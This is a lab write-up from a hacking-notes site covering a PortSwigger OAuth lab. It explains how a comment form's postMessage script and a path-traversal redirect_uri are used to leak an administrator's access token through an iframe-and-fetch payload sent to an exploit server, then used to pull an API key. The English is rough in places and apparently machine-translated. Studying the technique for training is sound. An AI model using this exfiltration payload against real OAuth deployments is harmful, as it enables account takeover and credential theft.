> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/oauth-authentication/oauth-access-token-theft-via-proxy-page.md).

# OAuth Access Token Theft via Proxy Page

OAuth Access Token Theft via Proxy Page notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### Stealing OAuth Access Tokens via a Proxy Page

**Lab objective**

This lab implements an OAuth service allowing authentication via a social network. / Insufficient vendor-side validation OAuth allows us to **direct the access token to an arbitrary page of the client application**.

The objective is:

* identify **a secondary vulnerability** in the client application,
* to use as **proxy page** to exfil the administrator's OAuth access token,
* and then use this token to recover \*\*l

" The administrator will open any content sent from the operating server and already has an active OAuth session.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f8de5a74d66617f9ad53528d5646bd6509b77523%2F%7BB8CCF97D-A27D-40B7-B687-85D1F289C7FB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

\*\* Client application analysis\*\*

A \*\* comment area\*\* is observed under blog articles.

When loading the comment form, a GET request is sent to

```http
GET /post/comment/comment-form
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3ca8437a32366a095b18c2e9a00a5a9fcc5a580f%2F%7B46A50EAB-5BE1-43E5-ACED-1477BC0A8E01%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

The form is loaded into a **iframe**, which is visible in the source code of the post page:

{% code overflow="wrap" %}

```javascript
<iframe onload='this.height = this.contentWindow.document.body.scrollHeight + "px"' width=100% frameBorder=0 src='/post/comment/comment-form#postId=2'></iframe>
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-aca6e78ff7a9c0b34ca7155132bc0cb8f49bded5%2F%7B5044D36A-98B8-4625-AD8D-8CCF69920803%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Interesting JavaScript behaviour**

The form takes in a revealing JavaScript script:

```javascript
<script>
    parent.postMessage({type: 'onload', data: window.location.href}, '*')
    function submitForm(form, ev) {
        ev.preventDefault();
        const formData = new FormData(document.getElementById("comment-form"));
        const hashParams = new URLSearchParams(window.location.hash.substr(1));
        const o = {};
        formData.forEach((v, k) => o[k] = v);
        hashParams.forEach((v, k) => o[k] = v);
        parent.postMessage({type: 'oncomment', content: o}, '*');
        form.reset();
    }
</script>
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0135bcabb56bdef07818048258825da94f194208%2F%7B277F316A-6093-4416-A3FE-284C4B4F0E3E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Key Points:

* The script \*\* reads the URL fragment (`#`)\*\*.
* It sends its content to the parent page via `postMessage`.
* This makes it possible to *make an OAuth token present in the fragment*\*.

The comment form can therefore be used as **proxy page**.

**OAuth Exploitation via Implicit Flow**

The OAuth redirect is modified to point to the comment form:

```bash
/../post/comment/comment-form
```

Example of a handled OAuth query:

```bash
GET /auth?client_id=bovgn6pnqo8u6y8pbvfsg&redirect_uri=https://0af800750488e51e80e41cce000900fd.web-security-academy.net/oauth-callback../post/comment/comment-form&response_type=token&nonce=-1640208972&scope=openid%20profile%20email
```

After authentication, the OAuth server redirects to:

* /post/comment/comment-form#access/\_token=ykNiftpsUeqLcCU-YsLcTQV40mETdrpdDeEIn8TpxFU

The **jeton is therefore exposed in the URL fragment** and then transmitted to the parent via `postMessage`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a21cedd17379d2a5898c5cddc4d44bd4c79d6521%2F%7B451D0316-C55E-4EE9-9BA2-A55D94E2A028%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Payload sent to victim**

From the operating server, we send the following content:

```javascript
<iframe src="https://oauth-0a65002f03f8a82f809a152b022a0086.oauth-server.net/auth?client_id=ie5f3rgr0m9qqnl0phsts&redirect_uri=https://0a8100e3034ba84780b9171a008800f5.web-security-academy.net/oauth-callback/../post/comment/comment-form&response_type=token&nonce=-191514846&scope=openid%20profile%20email">
</iframe>

<script>
window.addEventListener('message', function(e) {
  fetch("/" + encodeURIComponent(e.data.data));
})
</script>

```

Operation:

* Liframe triggers the implicit OAuth flow.
* The token is injected into the URL fragment.
* The comment form sent via `postMessage`.
* The script captures it and exfils it to the operating server.

**Token recovery**

In the operating server logs:

{% code overflow="wrap" %}

```bash
10.0.3.168      2026-01-02 20:09:43 +0000 "GET /https%3A%2F%2F0a8100e3034ba84780b9171a008800f5.web-security-academy.net%2Fpost%2Fcomment%2Fcomment-form%23access_token%3D0PVBpvJwVQWGtaF7uKFUxCNLayxgK5pbFrUPdEwZ5Qn%26expires_in%3D3600%26token_type%3DBearer%26scope%3Dopenid%2520profile%2520email HTTP/1.1" 404 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-abc8dc30e2b654510ad1d0a4119794dba13797ab%2F%7BC16C0546-3E15-426D-9EE0-B65DFFDA5448%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

After decoding URL, the token is:

* 0PVBpvJwVQWGtaF7uKFUxCNLayxgK5pbFrUPdEwZ5Qn

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5b7e40bb208b2779c0f08c97516bd14085609e50%2F%7BB2442F71-5C65-4ADA-9B16-D0D916221B8F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Access to API with stolen token**

The token is used to call the OAuth supplier `/me` endpoint

```http
GET /me HTTP/2
Host: oauth-0a65002f03f8a82f809a152b022a0086.oauth-server.net
Authorization: Bearer 0PVBpvJwVQWGtaF7uKFUxCNLayxgK5pbFrUPdEwZ5Qn
Content-Type: application/json
```

Answer

{% code overflow="wrap" expandable="true" %}

```json
{
        "sub":"administrator",
        "apikey":"yQ9EksfkSsCZbuivwJ4VLCnR9rrRmH5r",
        "name":"Administrator",
        "email":"administrator@normal-user.net",
        "email_verified":true
}
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8dfd4a6cf9d38d07cd7a73c6823eab0cec2e6883%2F%7BFEEDA113-9351-41C5-94B3-E9C0687FA240%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Result**

* The administrator's OAuth token was stolen.
* API key administrator was recovered.
* The lab is successfully validated.


---

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